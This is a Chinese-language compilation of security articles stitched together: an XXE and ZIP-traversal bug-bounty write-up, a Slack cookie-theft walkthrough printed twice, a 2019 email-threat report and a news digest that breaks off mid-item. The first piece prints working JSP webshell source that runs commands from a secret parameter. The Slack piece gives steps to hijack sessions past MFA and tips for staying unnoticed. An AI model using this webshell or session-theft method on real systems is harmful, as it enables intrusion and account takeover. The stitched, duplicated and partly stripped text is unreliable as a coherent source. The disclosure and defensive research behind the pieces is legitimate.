XML 和 ZIP —— 一个与TimeXML一样古老的故事

在研究某个漏洞赏金目标时,我遇到了一个处理自定义文件类型的 web 应用程序。 我们暂且把这个文件类型称之为 .xyz吧 。经过一些快速的谷歌搜索后我发现 .xyz 文件类型实际上只是一个包含 XML 文件和其他媒体资源文件的 ZIP 包。 XML 文件作为一个清单来描述包的内容。

这是打包自定义文件类型的这是一种非常常见的打包方式。 例如,如果你尝试用 unzip 解压一个 Microsoft Word 文件 Document.docx ,会解压出下面的文件:

Archive:  Document.docx
  inflating: [Content_Types].XML     
  inflating: _rels/.rels             
  inflating: word/_rels/document.XML.rels  
  inflating: word/document.XML       
  inflating: word/theme/theme1.XML   
  inflating: word/settings.XML       
  inflating: docProps/core.XML       
  inflating: word/fontTable.XML      
  inflating: word/webSettings.XML    
  inflating: word/styles.XML         
  inflating: docProps/app.XML

这种模式的另一个有名的例子是 .apk 后缀的 Android 应用程序文件,它本质上是一个包含 AndroidManifest.XML 清单文件和其他资源的 ZIP 文件。

但是,如果打包方式处理得很简单,那么这个打包模式就会产生额外的安全问题。 这些“漏洞”实际上是 XML 和 ZIP 格式中内置的特性。 XML 和 ZIP 解析器负责安全地处理这些特性。 不幸的是,这种情况很少发生,特别是当开发人员只是使用默认设置时。

下面我简要的概述了这些“易受攻击的特性”。

XML 外部实体

XML 文件格式支持外部实体,这允许 XML 文件从其他源(如本地或远程文件)提取数据。 在某些情况下,这可能很有用,因为这样做会使得从各种来源导入数据变得更加方便。 但是,在 XML 解析器接受用户定义的输入的情况下,恶意用户可以从敏感的本地文件或内部网络主机中提取数据。

正如 OWASP 基金会的 wiki 里所描述的:

当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,这种攻击就会发生... ... 使用 XML 库的 Java 应用程序特别容易受到 XXE 的攻击,因为大多数 Java XML 解析器的默认设置都启用了 XXE。 要安全地使用这些解析器,必须在所使用的解析器中显式禁用 XXE。

就像我之前写的的远程代码执行笔记一样,开发人员由于脆弱的默认设置而面临风险。

ZIP 目录遍历

尽管 ZIP 目录遍历从一开始就被利用,但这种攻击向量在2018年因为 Snyk 发表的“ZIP Slip”研究而变得突出,这个研究活动发现了许多流行的 ZIP 解析器库的存在漏洞。

攻击者可以使用包含目录遍历文件名的 ZIP 文件利用这个漏洞,例如:../../../../evil1/evil2/evil.sh。 当一个易受攻击的 ZIP 库尝试解压缩这个文件,它会将其解压缩到攻击者定义的文件系统中的另一个位置(在本例中为 /evil1/evil2/),而不是将 evil.sh 解压缩到一个临时目录。 如果攻击者覆盖 cron 作业脚本或者在 web 根目录中创建 web shell,那么这很容易导致远程代码执行。

与 XXE 类似,ZIP 目录遍历在 Java 中特别常见:

这个漏洞已经在多个生态系统中被发现,包括 JavaScript、 Ruby、.Net 和 Go,但在 Java 中尤其普遍,因为没有中央库提供对归档文件(如 zip)的高级处理。 由于缺乏这样的库,导致易受攻击的代码片段被手工编写并在 StackOverflow 等开发人员社区之间共享。

发现 XXE

现在我们已经有了攻击的理论基础,让我们继续讨论现实中的漏洞。 应用程序接受自定义文件类型的上传,解压缩文件,解析 XML 清单文件,并返回包含清单详细信息的确认页面。 例如,mypackage.xyz 是一个包含以下 manifest.XML 的 ZIP 文件:

    My Awesome Package    John Doe    https://google.com    4.2

我将得到以下确认页面:

 image.png

压缩包信息

我做的第一件事是测试 XSS。 关于通过 XML 注入 XSS 的一个技巧是,XML 不支持原始 html 标签,因为这会被解释为一个 XML 节点,所以你必须像 一样在 XML 中转义它们。 不幸的是,输出被正确地过滤掉了。

下一步是测试 XXE。 在这里,我犯了一个错误,开始测试一个远程外部实体:

    My Awesome Package&xxe;    John Doe    https://google.com    4.2

我没有在我的 Burp Collaborator 实例中得到任何输出,我认为 XXE 被阻塞了。 这是一个错误的做法,因为你应该始终以增量方式进行测试,从非系统外部实体开始,一直到本地文件,然后是远程文件。 这可以帮助你排除各种可能性。 毕竟,一个标准的防火墙规则会阻止传出的 Web 连接,导致远程外部实体失败。 然而,这并不一定意味着本地外部实体被阻塞。

幸运的是,我决定稍后再次尝试使用一个本地外部实体:

    My Awesome Package&xxe;    John Doe    https://google.com    4.2

这一次我成功了。/etc/hosts的内容出现在确认页面中。 

image.png

压缩包信息

实现 RCE

通常在白帽黑客场景中,你会坚持使用非破坏性的概念证明,并且点到为止。 通过 XXE,我可以公开本地数据库文件和几个有趣的 web 日志,其中包括管理员凭据。 这足够写一份报告了。

但是,我还想测试另一个漏洞: ZIP 解析器。 记住,应用程序解压缩了ZIP包,读取了 manifest.XML 文件,并返回了一个确认页面。 我在第二步中发现了一个 XXE,这表明在流的其余部分中可能存在其他漏洞。

为了测试 ZIP 目录遍历,我使用了 evilarc,一个简单的 Python2 脚本来生成具有遍历目录有效载荷的 ZIP 文件。我需要找出我想要在本地文件系统中放置遍历有效载荷的路径。这个时候,XXE 就起了作用。本地外部实体不仅支持文件,还支持目录,因此如果我使用像 file:///nameofdirectory 这样的外部实体,而不是文件的内容,它将列出目录的内容。

通过对目录进行一些深入研究,我最终找到了文件路径 /home/web/resources/templates/sitemap.jsp。 它的内容与 Web 应用程序中的一个页面相匹配(https://vulnapp.com/sitemap)。 我将 sitemap 页面的内容和一个 webshell 一起打包为 ../../../../../../home/web/resources/templates/sitemap.jsp。 我通过一个秘密的 URL 参数将 webshell 隐藏起来,以防止其他人偶然发现我的 webshell:

< %@ page import="java.util.*,java.io.*"% >< %
    if (request.getParameter("spaceraccoon") != null) {
        out.println("Command: " + request.getParameter("spaceraccoon") + "
");
        Process p = Runtime.getRuntime().exec(request.getParameter("spaceraccoon"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr); 
            disr = dis.readLine(); 
        }
        out.println("
");
    }
% >< ORIGINAL HTML CONTENTS OF SITEMAP >

我上传了我的压缩包,并访问 https://vulnapp.com/sitemap?spaceraccooon=ls ,发现页面上什么都没有。 页面看起来和之前完全一样。

常言道:

精神错乱的定义就是一遍又一遍地做同样的事情,期望得到不同的结果。

现在的情况不适用于黑盒测试。 延迟、缓存和 web 的其他特性可以导致相同的输入返回不同的输出。 在这种情况下,服务器缓存了 https://vulnapp.com/sitemap 的原始版本,这就是为什么它最初返回的页面没有我的 webshell。 刷新了几次之后,我的 web shell 启动了,页面返回了 web 根目录的内容以及 sitemap 页面的其余内容。 我进去了。

约定优于配置

image.png

你可能已经注意到了,我正在处理一个 Java 应用程序。 这又把我们带回到 OWASP 和 Snyk 的警告,即 Java 特别容易错误地处理 XML 和 ZIP 文件。 由于不安全的默认设置和缺少默认解析器,开发人员不得不依赖于随机的 Stack Overflow 代码段或第三方库。

然而,Java 并不是唯一的罪魁祸首。 错误处理 XML 和 ZIP 文件发生在所有编程语言和框架中。 开发人员需要不遗余力地安全地配置第三方库和 API,这样就很容易在应用程序中引入漏洞。 开发人员只需犯一个错误就可以在其应用程序中引入漏洞。 每增加一个“黑盒”库,这种可能性就会增加。

减少开发过程中产生的漏洞的一个方法是 Spotify 的“黄金之路” :

在 Spotify,我们的工程策略之一是创建和推广“黄金之路”的使用, 黄金之路是Spotify开发产品的好方法。 它们由一组 API、应用程序框架、最佳实践和运行时环境组成,这些环境允许 Spotify 工程师安全地开发和部署代码。 我们使用帮助提高质量的方案补充这些选择。 从我们的漏洞赏金计划报告中,我们发现开发人员越遵循“黄金之路”,就越不可能产生漏洞。

这可以归结为一个简单的 Ruby on Rails 格言: “约定优于配置。”

与其依赖成千上万的工程师来记住 web 应用程序安全的各种特性,不如专注于经过实战考验的框架和 API,减少不断调整这些设置的需要,这样效率要高得多。

幸运的是,组织可以通过遵守“约定优于配置”的方式系统地解决这个问题。

感谢漏洞赏金计划背后的安全团队,他们在不到12小时的时间内修复了这个漏洞,并允许我发布了这篇文章。

image.png

背景

拥有超过1000万的日常活跃用户,Slack 是业界采用最广泛的聊天平台之一。 在我们的安全研究过程中,我们已经看到许多不同的组织使用它来完成一些业务关键功能,例如:

· 为 CI/CD 管道建立警报

· 通过 Github 更改生产代码库

· 密码重置请求到 IT

· 威胁狩猎/IR(应急响应) 频道协作进行积极调查

· 全员通告

· 具体项目的合作

· 求助台故障排除

Slack 还通过集成 Active Directory Federated Services (ADFS)、双重身份验证服务(MFA)和日志,在 IRC 等老式聊天程序上提供了一些安全增强功能。 尽管 Slack 没有一个基于商业的解决方案,但它在许多业务用例中被广泛接受。 所有这一切使得它成为一个非常诱人的攻击目标,相对于电子邮件收集等更传统的方法而言,它是一种实时感知机制。

当 Slack 客户端安装在计算机(macOS 或 Windows)上时,它作为用户级应用程序安装。 Slack 将所有信息存储在它自己的应用程序目录中,位于以下位置:

· 在 Windows 主机上,这些数据存储在用户的 AppData 文件夹中:%AppData%\Roaming\Slack

· 在 macOS 主机上,这些数据存储在用户的 Application Support 文件夹中:~/Library/Application Support/Slack/

安装 Slack 客户端的用户以及 SYSTEM 或 root 上下文都可以读取所有数据。 为了防止要求用户重复登录到每个 Slack 工作区,Slack 利用了 sqlite 数据库中的 Cookies。 因为一个用户可以在一个 Slack 客户端中登录多个 Slack 工作区,所有这些信息都存储在同一个区域中。

攻击性指导

n0pe_sledLee Christensen,和我已经在一系列攻击活动中利用了 Slack 的一些特性,所以我们想要分享这是如何工作的。 从攻击性的角度来看,我们希望按照我们所想要实现的目标进行递增顺序来做一些事情:

· 列出用户在 Slack 客户端中注册的所有 Slack 工作区(即查看用户在其应用程序的左侧可查看的 Slack)

· 列出用户通过 Slack 下载的所有文件

· 以用户身份登录(如果他们知道该特定工作区的用户密码)

· 如果用户不知道密码,则以用户身份登录工作区

· 如果用户不知道密码并且启用了 MFA,则以用户身份登录工作区

以下所有内容都假设你至少在中等完整性上下文中可以访问用户的计算机,或者你可以远程访问文件系统,以便访问 Slack 文件夹。 从这里开始,一些特定的文件将有助于实现大多数这些目标。

列出用户在 Slack 客户端注册的工作区:

Slack/storage/slack-workspaces 或 Slack/storage/slack-teams

· 该文件包含一个 JSON 字典,其中包含关于每个团队的信息,如团队 ID、用户名、用户 ID、团队名称、团队 url 和主题信息

列出用户通过 Slack 下载的所有文件:

Slack/storage/slack-downloads

· 该文件包含有关每个下载的 JSON 字典信息,例如团队 id、文件 id、下载文件的 url (包含原始文件名)、 下载状态、本地下载路径以及开始 / 完成下载的时间

如果你知道用户的密码(而且没有 MFA) ,就以用户身份登录:

· 您可以使用Slack/storage/slack-teams来获取特定Slack工作区的团队url和用户名,然后使用你的密码通过web界面或从一个新的Slack客户端进行登录

这确实会导致一个新的登录事件,并且可能会触发电子邮件通知和日志警告。

不知道密码实现登录

所有我们已经实现的其他目标都是通过一些文件和最少的工作量的组合来实现的。 下载以下两个文件(大约40KB) :

· Slack/storage/slack-workspaces

· Slack/Cookies

Cookies 是 Slack 客户端用来验证回 Slack 域的 sqlite 数据库。 这些 cookie 通常不会过期。

当程序需要在文件系统中存储敏感数据时,它们可以使用内置机制来保护这些文件。 在 Windows 中,这通常是通过 DPAPI 完成的。 在 Windows 上使用 DPAPI 的好处是,即使你可以远程访问这些文件(比如使用另一个用户的凭据挂载一个共享) ,你通常仍然需要在用户的上下文中对文件内容进行解密。 在 macOS 中,这通常通过在 Keychain 中存储凭证来完成。 在 Keychain 中存储凭证材料(如应用程序特定密钥)的好处是,攻击者需要知道用户的明文密码,或者让用户输入密码才能成功地取出密钥。

Chrome 就是这种保护方式的一个很好的例子,因为它遵循了这两个过程。 至少在 macOS 中,这意味着攻击者不仅需要获取用户帐户的访问权限,还需要知道用户的明文密码来解密登录密钥链以访问相应的密钥。 然而,Slack 将所有这些信息存储在未加密的磁盘文件中,因此攻击者只需对上面提到的两个文件进行读访问。 这意味着也可以远程检索这些文件,并且仍然可以利用这种技术。

一旦你拥有了这两个文件,只需按照下面的步骤模拟他们的会话:

· 安装一个新的 slack 实例(但是不要登录任何东西)

· 关闭 Slack 并将自动创建的 Slack/storage/slack-workspaces 和 Slack/Cookies 文件替换为你从受害者电脑上下载的两份文件

· 启动 Slack

你现在将自动登录到所有具有有效 Cookies 的 Slack 团队(即使他们在账户上设置了 MFA)。 你不会将用户踢出他们当前的 Slack 实例,也不会触发新的“登录”电子邮件或通知,因为你的恶意 Slack 实例使用的 Cookies 已经过验证。 下面我将演示一个示例,我会一步一步窃取“秘密爱丽丝”的 Slack 信息,读取她的信息,甚至以她的身份在频道里发消息。

Slack 攻击模拟演练

重要的是要记住,你在他们的 Slack 中扮演的是这个用户的角色,所以为了保持隐秘,你应该尽量避免点击他们的未读消息。 同样,如果你在 Slack 中搜索与你的业务相关的关键词,他们也能看到这些搜索,所以一旦你完成搜索,一定要清除痕迹。

披露

我们就这个问题联系了 Slack,要求他们至少利用内置的操作系统级功能以任何方式加密或保护信息,但我们得到了以下回应:

在与我们的内部团队进行了一些讨论之后,我们最终决定在这个时候不做更改。 虽然我们同意加密这些存储的文件是一个很好的建议,但攻击者仍然可能需要直接访问受害者的计算机才能利用它们。 此外,即使不能访问这些文件,如果攻击者设法访问受害者计算机上已安装的 Slack 实例,那么攻击者也可以利用相当多的攻击手段实现目标。 我们赞赏这一建议,并可能在今后考虑执行这一建议,但由于上述原因,我们将暂时以”信息”评级结束你提交的报告。

希望将来能解决这个问题,但是目前,即使使用 Slack 的最新安装版本,本文阐述的攻击方法也是可行的。 虽然不是开创性的,重要的是要知道,这可以绕过 MFA ,并且就我们所知,这些 cookie 从来没有设置过期时间或进行轮换。

防御方面的考虑

当防御者试图阻止或发现这种攻击方法的使用时,有一些不同的潜在的解决方案。

Slack 记录

如果你有标准、附加或企业网格计划让所有者或管理员检查他们的成员,Slack 确实提供了一些关于登录的深入了解。 如果个人用户担心,他们可以检查自己的任何层级(甚至免费)访问日志并下载它们。

image.png 

Slack 的个人访问日志

查看工作区的访问日志

访问日志是检查任何不寻常或可疑的登录活动的简单方法。 

查看你的帐户的访问日志

担心有人登录了你的账户? 或者你在使用共享设备时忘了注销 Slack。

在 Windows 中,系统访问控制列表(SACL)可以应用于本文中提到的文件,以便在 Slack 以外的进程访问文件时生成事件。

活动目录集成

我们只看到过这种技术完全停止的一个实例——与单点登录(SSO)的ADFS集成。 我们无法完全追踪它是与SSO一起严格使用的ADFS,还是与SSO一起使用的另一种机制。然而,当我们遇到这种情况时,所涉及的Slack工作空间要求我们在登录之前重新进行身份验证。

报告时间线

正如SpecterOps致力于透明化一样,我们也承认一旦攻击者的新攻击技术公布于众,他们会迅速采用这些新技术。这就是为什么在发布新的bug或攻击技术之前,我们会定期通知相关的供应商,提供充足的时间来缓解问题,并通知选择的、可信的供应商,以确保能够尽快将检测结果传递给他们的客户。

· 2019年7月9日: 通过 HackerOne 向 Slack 报告漏洞

· 2019年7月10日: Slack 要求提供更多关于漏洞的信息

· 2019年7月12日: 收到 Slack 调查报告

· 2019年7月22日: Slack 以“信息”评级结束了这个报告

image.png

背景

拥有超过1000万的日常活跃用户,Slack 是业界采用最广泛的聊天平台之一。 在我们的安全研究过程中,我们已经看到许多不同的组织使用它来完成一些业务关键功能,例如:

· 为 CI/CD 管道建立警报

· 通过 Github 更改生产代码库

· 密码重置请求到 IT

· 威胁狩猎/IR(应急响应) 频道协作进行积极调查

· 全员通告

· 具体项目的合作

· 求助台故障排除

Slack 还通过集成 Active Directory Federated Services (ADFS)、双重身份验证服务(MFA)和日志,在 IRC 等老式聊天程序上提供了一些安全增强功能。 尽管 Slack 没有一个基于商业的解决方案,但它在许多业务用例中被广泛接受。 所有这一切使得它成为一个非常诱人的攻击目标,相对于电子邮件收集等更传统的方法而言,它是一种实时感知机制。

当 Slack 客户端安装在计算机(macOS 或 Windows)上时,它作为用户级应用程序安装。 Slack 将所有信息存储在它自己的应用程序目录中,位于以下位置:

· 在 Windows 主机上,这些数据存储在用户的 AppData 文件夹中:%AppData%\Roaming\Slack

· 在 macOS 主机上,这些数据存储在用户的 Application Support 文件夹中:~/Library/Application Support/Slack/

安装 Slack 客户端的用户以及 SYSTEM 或 root 上下文都可以读取所有数据。 为了防止要求用户重复登录到每个 Slack 工作区,Slack 利用了 sqlite 数据库中的 Cookies。 因为一个用户可以在一个 Slack 客户端中登录多个 Slack 工作区,所有这些信息都存储在同一个区域中。

攻击性指导

n0pe_sledLee Christensen,和我已经在一系列攻击活动中利用了 Slack 的一些特性,所以我们想要分享这是如何工作的。 从攻击性的角度来看,我们希望按照我们所想要实现的目标进行递增顺序来做一些事情:

· 列出用户在 Slack 客户端中注册的所有 Slack 工作区(即查看用户在其应用程序的左侧可查看的 Slack)

· 列出用户通过 Slack 下载的所有文件

· 以用户身份登录(如果他们知道该特定工作区的用户密码)

· 如果用户不知道密码,则以用户身份登录工作区

· 如果用户不知道密码并且启用了 MFA,则以用户身份登录工作区

以下所有内容都假设你至少在中等完整性上下文中可以访问用户的计算机,或者你可以远程访问文件系统,以便访问 Slack 文件夹。 从这里开始,一些特定的文件将有助于实现大多数这些目标。

列出用户在 Slack 客户端注册的工作区:

Slack/storage/slack-workspaces 或 Slack/storage/slack-teams

· 该文件包含一个 JSON 字典,其中包含关于每个团队的信息,如团队 ID、用户名、用户 ID、团队名称、团队 url 和主题信息

列出用户通过 Slack 下载的所有文件:

Slack/storage/slack-downloads

· 该文件包含有关每个下载的 JSON 字典信息,例如团队 id、文件 id、下载文件的 url (包含原始文件名)、 下载状态、本地下载路径以及开始 / 完成下载的时间

如果你知道用户的密码(而且没有 MFA) ,就以用户身份登录:

· 您可以使用Slack/storage/slack-teams来获取特定Slack工作区的团队url和用户名,然后使用你的密码通过web界面或从一个新的Slack客户端进行登录

这确实会导致一个新的登录事件,并且可能会触发电子邮件通知和日志警告。

不知道密码实现登录

所有我们已经实现的其他目标都是通过一些文件和最少的工作量的组合来实现的。 下载以下两个文件(大约40KB) :

· Slack/storage/slack-workspaces

· Slack/Cookies

Cookies 是 Slack 客户端用来验证回 Slack 域的 sqlite 数据库。 这些 cookie 通常不会过期。

当程序需要在文件系统中存储敏感数据时,它们可以使用内置机制来保护这些文件。 在 Windows 中,这通常是通过 DPAPI 完成的。 在 Windows 上使用 DPAPI 的好处是,即使你可以远程访问这些文件(比如使用另一个用户的凭据挂载一个共享) ,你通常仍然需要在用户的上下文中对文件内容进行解密。 在 macOS 中,这通常通过在 Keychain 中存储凭证来完成。 在 Keychain 中存储凭证材料(如应用程序特定密钥)的好处是,攻击者需要知道用户的明文密码,或者让用户输入密码才能成功地取出密钥。

Chrome 就是这种保护方式的一个很好的例子,因为它遵循了这两个过程。 至少在 macOS 中,这意味着攻击者不仅需要获取用户帐户的访问权限,还需要知道用户的明文密码来解密登录密钥链以访问相应的密钥。 然而,Slack 将所有这些信息存储在未加密的磁盘文件中,因此攻击者只需对上面提到的两个文件进行读访问。 这意味着也可以远程检索这些文件,并且仍然可以利用这种技术。

一旦你拥有了这两个文件,只需按照下面的步骤模拟他们的会话:

· 安装一个新的 slack 实例(但是不要登录任何东西)

· 关闭 Slack 并将自动创建的 Slack/storage/slack-workspaces 和 Slack/Cookies 文件替换为你从受害者电脑上下载的两份文件

· 启动 Slack

你现在将自动登录到所有具有有效 Cookies 的 Slack 团队(即使他们在账户上设置了 MFA)。 你不会将用户踢出他们当前的 Slack 实例,也不会触发新的“登录”电子邮件或通知,因为你的恶意 Slack 实例使用的 Cookies 已经过验证。 下面我将演示一个示例,我会一步一步窃取“秘密爱丽丝”的 Slack 信息,读取她的信息,甚至以她的身份在频道里发消息。

Slack 攻击模拟演练

重要的是要记住,你在他们的 Slack 中扮演的是这个用户的角色,所以为了保持隐秘,你应该尽量避免点击他们的未读消息。 同样,如果你在 Slack 中搜索与你的业务相关的关键词,他们也能看到这些搜索,所以一旦你完成搜索,一定要清除痕迹。

披露

我们就这个问题联系了 Slack,要求他们至少利用内置的操作系统级功能以任何方式加密或保护信息,但我们得到了以下回应:

在与我们的内部团队进行了一些讨论之后,我们最终决定在这个时候不做更改。 虽然我们同意加密这些存储的文件是一个很好的建议,但攻击者仍然可能需要直接访问受害者的计算机才能利用它们。 此外,即使不能访问这些文件,如果攻击者设法访问受害者计算机上已安装的 Slack 实例,那么攻击者也可以利用相当多的攻击手段实现目标。 我们赞赏这一建议,并可能在今后考虑执行这一建议,但由于上述原因,我们将暂时以”信息”评级结束你提交的报告。

希望将来能解决这个问题,但是目前,即使使用 Slack 的最新安装版本,本文阐述的攻击方法也是可行的。 虽然不是开创性的,重要的是要知道,这可以绕过 MFA ,并且就我们所知,这些 cookie 从来没有设置过期时间或进行轮换。

防御方面的考虑

当防御者试图阻止或发现这种攻击方法的使用时,有一些不同的潜在的解决方案。

Slack 记录

如果你有标准、附加或企业网格计划让所有者或管理员检查他们的成员,Slack 确实提供了一些关于登录的深入了解。 如果个人用户担心,他们可以检查自己的任何层级(甚至免费)访问日志并下载它们。

image.png 

Slack 的个人访问日志

查看工作区的访问日志

访问日志是检查任何不寻常或可疑的登录活动的简单方法。 

查看你的帐户的访问日志

担心有人登录了你的账户? 或者你在使用共享设备时忘了注销 Slack。

在 Windows 中,系统访问控制列表(SACL)可以应用于本文中提到的文件,以便在 Slack 以外的进程访问文件时生成事件。

活动目录集成

我们只看到过这种技术完全停止的一个实例——与单点登录(SSO)的ADFS集成。 我们无法完全追踪它是与SSO一起严格使用的ADFS,还是与SSO一起使用的另一种机制。然而,当我们遇到这种情况时,所涉及的Slack工作空间要求我们在登录之前重新进行身份验证。

报告时间线

正如SpecterOps致力于透明化一样,我们也承认一旦攻击者的新攻击技术公布于众,他们会迅速采用这些新技术。这就是为什么在发布新的bug或攻击技术之前,我们会定期通知相关的供应商,提供充足的时间来缓解问题,并通知选择的、可信的供应商,以确保能够尽快将检测结果传递给他们的客户。

· 2019年7月9日: 通过 HackerOne 向 Slack 报告漏洞

· 2019年7月10日: Slack 要求提供更多关于漏洞的信息

· 2019年7月12日: 收到 Slack 调查报告

· 2019年7月22日: Slack 以“信息”评级结束了这个报告

概观

根据ASRC 研究中心 (Asia Spam-message Research Center) 与守内安的观察,2019 年总体来说,垃圾邮件与病毒邮件的数量呈现均匀分布,没有哪个月份特别爆量,但是相较于 2018 年,数量稍有增长。邮件量爆发、诈骗邮件与钓鱼攻击在 2019 年第四季度达到全年高峰;BEC诈骗邮件的数量虽然降低,但是BEC事件并未因此缓和。CVE-2014-4114、CVE-2018-0802、CVE-2017-11882这三个 Microsoft Office 文件漏洞利用全年可见;2019 年第一季度被揭露的WinRAR 漏洞 (包含CVE-2018-20250、CVE-2018-20251、CVE-2018-20252与CVE-2018-20253),皆被用于APT攻击或是渗透测试、红队演练。

统计

垃圾邮件占比趋势统计

2019 年垃圾邮件平均约占总体邮件的83.67%,相较于2018年的占比增加了 6% 左右;2019 年每个月的垃圾邮件占比几乎都在80%以上,月份之间的波动很平均,且多数月份垃圾邮件占比都较 2018 年来得高。

垃圾邮件中的病毒邮件

垃圾邮件中,一般病毒的占比大约在0.1~0.2% 之间。2018 年在第四季度的波动幅度较大,2019 年则平均占比都维持在0.15%之上。

SMTP DoS攻击

同一个 IP 集中发送大量邮件,并可能造成SMTP服务阻塞或中断的攻击,多半发生在第四季度,可能因为第四季度为消费旺季,双十一、双十二、圣诞节与跨年接踵而来,搭配 EDM 与 Phishing 一起出现。但是 2019除了第四季度外,在四月及六月类型的攻击也都有明显上升的迹象。

邮件附件类型

电子邮件中,常用的附件类型,可能被用以攻击的机率大概有多少呢?我们统计了2018、2019年的数据,最常用来攻击的办公文件为Word文件 (注:凡含有不当目的的Word文件皆从严认定),其次为Excel文件;多数操作系统都可以直接支持ZIP解压缩,因此ZIP压缩格式较常被用来夹带恶意文件。

APT攻击邮件

2018 年 APT 攻击邮件最常见的是 Office 漏洞利用的手法,较常被利用的漏洞编号分别是 OLE 漏洞 (CVE-2014-4114) 与方程式漏洞(CVE-2017-11882)。

2019 年 APT 攻击邮件最常见利用的Office漏洞编号为CVE-2014-4114、CVE-2018-0802、CVE-2017-11882,大致上承继了 2018 年的利用情况。

诈骗邮件

2018 年的 BEC 与 419 诈骗占比大约各占一半。2019 年 BEC 与 419 诈骗占比发生了不一样的变化,BEC 诈骗与 419 诈骗邮件总量相较 2018 年的总量下降;虽然 BEC 诈骗邮件下降的幅度高于 419 诈骗,并不表示 BEC 诈骗的风险跟着下降了。相反,BEC 诈骗邮件显得更有策略性,不会过早介入商谈中的交易,也减少接触不必要收到 BEC 邮件的人员,大幅提高 BEC 诈骗的成功机率。

重要趋势

信任来源饱受挑战

电子邮件的可信度,在近年来不停地受到挑战,尤其 BEC 事件高发的情况下,对于邮件中提及异常的变更事项,都需要特别留意,尤其是汇款账号的变更,一定要通过电子邮件以外的渠道再次进行确认。

其次需要特别注意的是在电子邮件内的超链接。并不是超链接带有可信赖的域名,就表示这样的超链接不带有威胁!也不是所有恶意的超链接都必然会下载恶意软件,或需要被攻击者配合输入账号密码相关数据,毕竟,并非所有人使用网络服务都会随手注销。在 2017 年开始出现钓鱼邮件结合 Google OAuth,就是企图蒙骗收件人通过点击一个共享文件的链接,授与攻击者存取Google App 的权限,如今类似的手法也开始出现在Office 365。

最后,白名单一定要慎用,看似来自熟悉的同事、供应商的邮件,也有可能隐藏恶意攻击!

供应链攻击是国家级资助的 APT 攻击常用的手段。攻击者的主要目标可能具备了很高的警戒意识与防护能力,因此攻击者可从主要目标的合作对象下手,之后再通过主要目标对合作对象的信任,直接穿过各种防护措施进行攻击。

(合法域名空间遭到滥用的实例)

钓鱼邮件与诈骗邮件泛滥

2019 年电子邮件中,带有恶意链接的数量,大约是 2018 年的 2.8 倍。钓鱼邮件为了取信收件人点击,多半会使用一些当地化用语及社交工程的手法。由于钓鱼邮件主要目的是骗取网络服务的账号密码或其他机密数据,因此多半在点击之后,会通过浏览器连往一个收集这些机密资料的钓鱼网站或钓鱼窗体,再诱骗受害者输入其机密数据。

浏览器的开发商也注意到类似的问题,于是纷纷在网址列加入了检查与提醒的功能,希望能藉此保护使用者。然而攻击者也开始改变做法,在电子邮件中直接夹入一个恶意的静态 HTML 页面,诱骗收件人填入机密数据,但是这个页面通过浏览器打开时,网址列显示的是本地端的储存地址而非远程的钓鱼网站。当收件人填完数据按下发送后,浏览器即以 POST 搭配加密联机的方式,将机密数据送往钓鱼网站,这样的钓鱼手段能略过多数的浏览器保护措施。这类型的攻击邮件,在 2019 年第四季度大量出现。

(恶意的静态HTML钓鱼邮件)

Office 文件漏洞充满威胁

屡试不爽的Office 文件漏洞,一直是攻击者爱用的武器之一。除了作业人员、防病毒软件对文档的警觉性较低外,许多人所使用的Office 不会经常性更新。除了公司预算的问题外,原本就使用了非正版Windows,或担心兼容性、使用上的适应性,以及缺乏漏洞修补的概念,都是使用者不愿更新的原因。

根据 ASRC 的统计,2018 年最常见的邮件漏洞利用攻击为 OLE 漏洞 (CVE-2014-4114) 与方程式漏洞(CVE-2017-11882)。2019 年,CVE-2014-4114 仍持续被利用,且在第三季度爆发大量的攻击样本,主要目标产业为电子、食品、医疗相关产业;CVE-2018-0802 则做为 CVE-2017-11882 其后续的衍生变形攻击持续存在。2020 年初刚刚被披露的 CVE-2020-0674 及其后续影响力,我们也将持续关注。

结论

2020年是5G基础建设部署、成熟加速的一年,随着整体网速的加快,移动应用服务将更趋复杂化,因此,个人信息遭到刺探、外泄的速度与规模、攻击的速度及频率,都会跟着大幅提高;而恶意软件也可以不必再拘泥文件大小的限制,更可朝功能完备的方向发展;加上量子计算机、云计算的推波助澜,信息安全事故的发生与危害程度可能是过去难以想象的。电子邮件仍会是网络攻击重要的入侵渠道,单纯的账号密码防护力渐趋薄弱,多因素验证已是势在必行。

*本文作者:softnext守内安,转载请注明来自FreeBuf.COM

【全球动态】

1.黑客网站曝光了超过490万乔治亚州居民的详细个人信息

上周六,某黑客论坛公布了包含 493 万 4863 乔治亚州居民的详细个人信息的数据库。在大小为 1.04 GB 的 Microsoft Access 数据库文件中,可查看到包括全名、家庭住址、出生日期、身份证编号、手机号码之类的隐私内容,甚至连已故公民的信息也没放过。[阅读原文]

2.美国太空部队的“太空栅栏”轨道跟踪系统已正式运行

美国太空部队是美国武装部队中一个相对较年轻的新分支,但这并不意味着它没有“作战”资产。例如,上周晚些时候,美国太空部队宣布其“太空栅栏”(Space Fence)雷达系统现已正式运行。“太空栅栏”实际上是一种雷达系统,旨在对在轨物体进行高级跟踪,包括但不限于商业和军事卫星。[阅读原文]

3.俄罗斯要求电子产品预装俄制软件的新立法被推迟生效

俄罗斯要求所有智能手机、电脑和智能电视预装俄制软件的新立法被推迟,相关规定直到2021年1月才能生效。之前,俄罗斯议会下院于2019年11月通过立法,规定苹果iPhone等有预装应用程序的设备,必须预装俄罗斯制造的应用程序。这项立法针对的产品包括智能手机、电脑、平板电脑和智能电视。[阅读原文]

4.拉美IT安全市场2020年有望增长

据分析公司IDC预计,2020年IT安全市场将增长12%,拉丁美洲的支出将达到40亿美元。[外刊-阅读原文]

5.Google Cloud 发布 COVID-19 数据集 可构建AI模型来对抗疫情

3 月 31 日,Google 正式宣布启动一项名为新型冠状病毒公共数据集(COVID-19 Public Datasets)的项目,该项目将托管一个与疫情相关的公共数据资料库,并将它们开放,以便外界自由访问和分析。[阅读原文]

6.FBI在三个月内第三次重新发送有关供应链攻击的警报

美国联邦调查局称,一些攻击还针对医疗保健行业,目前该行业正在努力应对冠状病毒的爆发。美国联邦调查局(FBI)周一发出警告,称国家资助的黑客利用Kwampirs恶意软件攻击供应链公司和其他行业,这是全球黑客运动的一部分。[外刊-阅读原文]

【安全事件】

1.量子计算公司D-Wave宣布向任何COVID-19病毒研究者提供量子计算云服务

